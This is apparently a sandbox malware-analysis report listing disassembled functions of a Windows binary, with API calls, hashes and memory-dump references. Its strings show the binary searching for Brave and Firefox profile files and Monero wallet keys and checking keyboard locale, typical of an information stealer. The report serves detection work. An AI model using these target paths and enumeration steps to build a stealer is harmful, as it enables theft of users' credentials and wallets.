Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 8b1261dba500b06520a028ef619a6f162fb85347833915ff7a30fb929dc74b95
Instruction ID: 024c3f53a809763003baddd0b46f61885a1afcef14ed88f68237af2f7fc61781
Opcode Fuzzy Hash: 8b1261dba500b06520a028ef619a6f162fb85347833915ff7a30fb929dc74b95
Instruction Fuzzy Hash: E8425572910108ABDB14FBB0DD96EED737DAF54300F404568F94AA6181EF34AF49DBA2

Function 00CB4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00CB492C
FindFirstFileA.KERNEL32(?,?), ref: 00CB4943
StrCmpCA.SHLWAPI(?,00CC0FDC), ref: 00CB4971
StrCmpCA.SHLWAPI(?,00CC0FE0), ref: 00CB4987
FindNextFileA.KERNEL32(000000FF,?), ref: 00CB4B7D
FindClose.KERNEL32(000000FF), ref: 00CB4B92

Strings

%s\*, xrefs: 00CB4920
%s\%s, xrefs: 00CB49FB
%s\%s, xrefs: 00CB49A4

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 1f606b22b20f4e7602d25e3c1c69d640f1423f91a135863c9f623b5c4a17203f
Instruction ID: cadbe94404b9bead75d78ee1f977fdb4fecdbae3f86f1386aa82291b66d9fc94
Opcode Fuzzy Hash: 1f606b22b20f4e7602d25e3c1c69d640f1423f91a135863c9f623b5c4a17203f
Instruction Fuzzy Hash: 986136B1900219AFCB24EFA1DC89FEA737CBB48700F04459CF549A6141EB75AB89CF91

Function 00CB4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00CB4580
RtlAllocateHeap.NTDLL(00000000), ref: 00CB4587
wsprintfA.USER32 ref: 00CB45A6
FindFirstFileA.KERNEL32(?,?), ref: 00CB45BD
StrCmpCA.SHLWAPI(?,00CC0FC4), ref: 00CB45EB
StrCmpCA.SHLWAPI(?,00CC0FC8), ref: 00CB4601
FindNextFileA.KERNEL32(000000FF,?), ref: 00CB468B
FindClose.KERNEL32(000000FF), ref: 00CB46A0
lstrcat.KERNEL32(?,009DF2C0), ref: 00CB46C5
lstrcat.KERNEL32(?,009DD880), ref: 00CB46D8
lstrlen.KERNEL32(?), ref: 00CB46E5
lstrlen.KERNEL32(?), ref: 00CB46F6

Strings

%s\%s, xrefs: 00CB461B
%s\*, xrefs: 00CB459A

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: ce2b54964baeb93194550a20bf0494e7288f78ec1e0fb28145786a8b4009f626
Instruction ID: 9800ffab1e7475dd94f22c5aa7cdf81fd9c995c47907b6bf0e483cd6ced6b641
Opcode Fuzzy Hash: ce2b54964baeb93194550a20bf0494e7288f78ec1e0fb28145786a8b4009f626
Instruction Fuzzy Hash: 215146B590021C9FCB24EBB0DC89FE9777CAB54300F44459DF619A6191EB74AB88CF92

Function 00CB3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00CB3EC3
FindFirstFileA.KERNEL32(?,?), ref: 00CB3EDA
StrCmpCA.SHLWAPI(?,00CC0FAC), ref: 00CB3F08
StrCmpCA.SHLWAPI(?,00CC0FB0), ref: 00CB3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00CB406C
FindClose.KERNEL32(000000FF), ref: 00CB4081

Strings

%s\%s, xrefs: 00CB3EB7

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 7affd94b2ea6ac24268a25efaa65319600b6665a0c8632a5d4993b18f692b2be
Instruction ID: 8fe0c1439db8ed198870def2eaae4282be8cbddcda29fd4db4438aab048248d7
Opcode Fuzzy Hash: 7affd94b2ea6ac24268a25efaa65319600b6665a0c8632a5d4993b18f692b2be
Instruction Fuzzy Hash: B15155B6900218AFCB24EBB0DC86EFA737CBB44300F04459DB659A6040DB75EB89CF95

Function 00CAED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00CAED3E
FindFirstFileA.KERNEL32(?,?), ref: 00CAED55
StrCmpCA.SHLWAPI(?,00CC1538), ref: 00CAEDAB
StrCmpCA.SHLWAPI(?,00CC153C), ref: 00CAEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00CAF2AE
FindClose.KERNEL32(000000FF), ref: 00CAF2C3

Strings

%s\*.*, xrefs: 00CAED32

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: ff6ef51b79d2ab0244b0285ef3104e46b4927afba5f96896847570e590d1bc3d
Instruction ID: f92b731cd0e23a6617d3ec42b7d2a62381d5afdf2a95f29ad34d2c58b7d0d697
Opcode Fuzzy Hash: ff6ef51b79d2ab0244b0285ef3104e46b4927afba5f96896847570e590d1bc3d
Instruction Fuzzy Hash: C6E1F771911118AAEB64FB61DC92FEE733CAF54300F4041E9B54A62492EF316F8AEF51

Function 00CAF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CBA920: lstrcpy.KERNEL32(00000000,?), ref: 00CBA972
Part of subcall function 00CBA920: lstrcat.KERNEL32(00000000), ref: 00CBA982

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00CC15B8,00CC0D96), ref: 00CAF71E
StrCmpCA.SHLWAPI(?,00CC15BC), ref: 00CAF76F
StrCmpCA.SHLWAPI(?,00CC15C0), ref: 00CAF785
FindNextFileA.KERNEL32(000000FF,?), ref: 00CAFAB1
FindClose.KERNEL32(000000FF), ref: 00CAFAC3

Strings

prefs.js, xrefs: 00CAF812

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 34f8cd16304287fb10f4d08c5336b01a2fc6dcfe5288b991f1ac306869d49c6f
Instruction ID: 451e42f2764b8bbe597a9bf9edbbaa762ddaadca8f2e54f57a4f3aa013ef99fd
Opcode Fuzzy Hash: 34f8cd16304287fb10f4d08c5336b01a2fc6dcfe5288b991f1ac306869d49c6f
Instruction Fuzzy Hash: 70B14271900118ABDB24FF61DC96FEE7379AF55300F4081A8E44AA7191EF316B4ADF92

Function 00CA16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00CC510C,?,?,?,00CC51B4,?,?,00000000,?,00000000), ref: 00CA1923
StrCmpCA.SHLWAPI(?,00CC525C), ref: 00CA1973
StrCmpCA.SHLWAPI(?,00CC5304), ref: 00CA1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00CA1D40
DeleteFileA.KERNEL32(00000000), ref: 00CA1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00CA1E20
FindClose.KERNEL32(000000FF), ref: 00CA1E32

Part of subcall function 00CBA920: lstrcpy.KERNEL32(00000000,?), ref: 00CBA972
Part of subcall function 00CBA920: lstrcat.KERNEL32(00000000), ref: 00CBA982

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

Strings

\*.*, xrefs: 00CA17F1

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: dda21f60d416a766c102de3e7d4ff853206a741eb42b482bc70a1c846bdd1a43
Instruction ID: ee8d7627231faf0313a450f81e74b826b4fdcede22142a6ab1e1ace2f6fec9dd
Opcode Fuzzy Hash: dda21f60d416a766c102de3e7d4ff853206a741eb42b482bc70a1c846bdd1a43
Instruction Fuzzy Hash: DF12F271910118ABDB25FB60CCA6EEE737CAF54300F4041A9B54A664D1EF316F89EFA1

Function 00CADE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00CC0C2E), ref: 00CADE5E
StrCmpCA.SHLWAPI(?,00CC14C8), ref: 00CADEAE
StrCmpCA.SHLWAPI(?,00CC14CC), ref: 00CADEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00CAE3E0
FindClose.KERNEL32(000000FF), ref: 00CAE3F2

Strings

\*.*, xrefs: 00CADE26

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 1d2d8eb7c226b733929eaad533dc2d6004556c1f2096ae5bd0b1aec588153734
Instruction ID: 29dc596a114e9e2bec6e5b0eaf7ea6a4db9a32eda9bd1c06778f734d74fecc11
Opcode Fuzzy Hash: 1d2d8eb7c226b733929eaad533dc2d6004556c1f2096ae5bd0b1aec588153734
Instruction Fuzzy Hash: 01F1A371814118AADB25FB61DCA5EEE733CBF54300F8041E9B45A62491EF316F4ADF61

Function 00CADA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CBA920: lstrcpy.KERNEL32(00000000,?), ref: 00CBA972
Part of subcall function 00CBA920: lstrcat.KERNEL32(00000000), ref: 00CBA982

Part of subcall function 00CBA9B0: lstrlen.KERNEL32(?,009D89A8,?,\Monero\wallet.keys,00CC0E17), ref: 00CBA9C5
Part of subcall function 00CBA9B0: lstrcpy.KERNEL32(00000000), ref: 00CBAA04
Part of subcall function 00CBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CBAA12

Part of subcall function 00CBA8A0: lstrcpy.KERNEL32(?,00CC0E17), ref: 00CBA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00CC14B0,00CC0C2A), ref: 00CADAEB
StrCmpCA.SHLWAPI(?,00CC14B4), ref: 00CADB33
StrCmpCA.SHLWAPI(?,00CC14B8), ref: 00CADB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00CADDCC
FindClose.KERNEL32(000000FF), ref: 00CADDDE

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 3dac70f8072790d8363dbe3b7611d2ca8ad972dc008ad937f6e7b6bd72745630
Instruction ID: fab5cf51aced5a615871ff8d0040897fad3f46c784fffeb5f650c1b0e0e7e70d
Opcode Fuzzy Hash: 3dac70f8072790d8363dbe3b7611d2ca8ad972dc008ad937f6e7b6bd72745630
Instruction Fuzzy Hash: D7915972900108ABCB14FFB1DC96DED737DAB85304F408568F85BA6581EE34AB0DDB92

Function 00CB7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

GetKeyboardLayoutList.USER32(00000000,00000000,00CC05AF), ref: 00CB7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00CB7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00CB7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00CB7C62
LocalFree.KERNEL32(00000000), ref: 00CB7D22

Strings

/ , xrefs: 00CB7C7F

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: e61ebf20086cdaff7e9edcecc324e0b714422e3ca5c724b752b2f10259a98d0d
Instruction ID: 67de82b50dbe05b3197290d503345d18929bb5cd3cd5826d0ff38a21e2185317
Opcode Fuzzy Hash: e61ebf20086cdaff7e9edcecc324e0b714422e3ca5c724b752b2f10259a98d0d
Instruction Fuzzy Hash: 39415C71940218ABDB24DB95DC99BEEB778FF44700F204299E40A76281DB342F89DFA1

Function 00CAE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CBA740: lstrcpy.KERNEL32(00CC0E17,00000000), ref: 00CBA788

Part of subcall function 00CBA920: lstrcpy.KERNEL32(00000000,?), ref: 00CBA972
Part of subcall function 00CBA920: lstrcat.KERNEL32(00000000), ref: 00CBA982

